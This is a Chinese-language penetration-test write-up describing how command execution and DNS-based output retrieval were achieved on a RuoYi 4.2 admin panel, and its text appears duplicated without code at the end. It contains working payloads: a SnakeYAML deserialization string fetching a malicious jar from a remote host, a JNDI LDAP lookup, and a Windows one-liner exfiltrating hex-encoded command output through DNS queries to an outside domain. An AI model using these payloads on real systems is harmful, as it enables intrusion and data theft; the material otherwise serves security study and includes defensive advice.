曲折的命令执行回显
字数 900 2025-08-24 16:48:15

曲折的命令执行回显技术详解

0x01 背景与发现

在渗透测试过程中发现了一处若依(RuoYi)系统漏洞,该系统版本为4.2。进入后台后尝试常规攻击方法失败,但通过曲折的方式最终实现了命令执行和回显。

0x02 初始攻击尝试

2.1 内存马注入尝试

使用Yaml反序列化加载恶意jar包:

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://vps/yaml-payload-for-ruoyi-1.0-SNAPSHOT.jar"]]]]')

结果:系统成功访问了VPS上的jar包,但内存马注入失败,访问时跳转回登录界面。

关键发现:公开的内存马工具对若依4.2版本无效。

2.2 JNDI/LDAP攻击转向

使用LDAP协议执行命令:

javax.naming.InitialContext.lookup('ldap://vps')

验证步骤

  1. 启动JNDI服务
  2. 使用DNSURL测试可用链
  3. 确认DNS成功获取请求,证明链可用

命令执行验证

ping dns服务器

成功接收到DNS请求,确认命令执行可行。

0x03 无回显问题解决

3.1 问题描述

  • 定时任务漏洞无回显
  • 常规上线方法(powershell、远程下载文件)均失败

3.2 DNS回显技术

工具:HexDnsEchoT (修改自sv3nbeast的工具)

  • 修复了时区问题
  • 添加了新功能
  • 使用更便捷

工作原理

  1. 将命令结果输出到文件
  2. 对文件进行hex编码生成txt
  3. 逐行读取文件
  4. 将hex编码通过DNS外带
  5. 工具访问DNS服务器获取结果
  6. 整理拼接DNS响应
  7. hex解码获取原始结果

示例命令

del ipconfig7 && del ipconfig7.txt && ipconfig > ipconfig7 && echo 11111111111 >>ipconfig7 && certutil -encodehex ipconfig7 ipconfig7.txt && for /f "tokens=1-17" %a in ( ipconfig7.txt ) do start /b ping -nc 1 %a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q.ipconfig.bec7d9a8.dnsbug.cn.

命令分解

  1. 删除旧文件
  2. 执行ipconfig并将结果保存
  3. 添加分隔标记
  4. 对结果进行hex编码
  5. 逐行读取hex文件并通过DNS外带

0x04 技术要点总结

  1. 若依系统特性:4.2版本对公开内存马工具有防护
  2. 攻击转向:当一种攻击方式失败时,及时转向其他可行方案(JNDI/LDAP)
  3. 无回显处理:利用DNS协议进行数据外带
  4. 数据编码:使用hex编码确保数据完整传输
  5. 命令构造:精心设计命令实现自动化数据收集和外带

0x05 防御建议

  1. 限制系统不必要的出网连接
  2. 监控异常的DNS查询请求
  3. 对定时任务功能进行严格的权限控制
  4. 更新系统到最新版本
  5. 禁用不必要的Java反序列化功能

0x06 工具获取

HexDnsEchoT工具地址:

https://github.com/A0WaQ4/HexDnsEchoT

该工具已修复原版时区问题并添加了新功能,适用于各种DNS回显场景。

曲折的命令执行回显技术详解 0x01 背景与发现 在渗透测试过程中发现了一处若依(RuoYi)系统漏洞,该系统版本为4.2。进入后台后尝试常规攻击方法失败,但通过曲折的方式最终实现了命令执行和回显。 0x02 初始攻击尝试 2.1 内存马注入尝试 使用Yaml反序列化加载恶意jar包: 结果 :系统成功访问了VPS上的jar包,但内存马注入失败,访问时跳转回登录界面。 关键发现 :公开的内存马工具对若依4.2版本无效。 2.2 JNDI/LDAP攻击转向 使用LDAP协议执行命令: 验证步骤 : 启动JNDI服务 使用DNSURL测试可用链 确认DNS成功获取请求,证明链可用 命令执行验证 : 成功接收到DNS请求,确认命令执行可行。 0x03 无回显问题解决 3.1 问题描述 定时任务漏洞无回显 常规上线方法(powershell、远程下载文件)均失败 3.2 DNS回显技术 工具 :HexDnsEchoT (修改自sv3nbeast的工具) 修复了时区问题 添加了新功能 使用更便捷 工作原理 : 将命令结果输出到文件 对文件进行hex编码生成txt 逐行读取文件 将hex编码通过DNS外带 工具访问DNS服务器获取结果 整理拼接DNS响应 hex解码获取原始结果 示例命令 : 命令分解 : 删除旧文件 执行ipconfig并将结果保存 添加分隔标记 对结果进行hex编码 逐行读取hex文件并通过DNS外带 0x04 技术要点总结 若依系统特性 :4.2版本对公开内存马工具有防护 攻击转向 :当一种攻击方式失败时,及时转向其他可行方案(JNDI/LDAP) 无回显处理 :利用DNS协议进行数据外带 数据编码 :使用hex编码确保数据完整传输 命令构造 :精心设计命令实现自动化数据收集和外带 0x05 防御建议 限制系统不必要的出网连接 监控异常的DNS查询请求 对定时任务功能进行严格的权限控制 更新系统到最新版本 禁用不必要的Java反序列化功能 0x06 工具获取 HexDnsEchoT工具地址: 该工具已修复原版时区问题并添加了新功能,适用于各种DNS回显场景。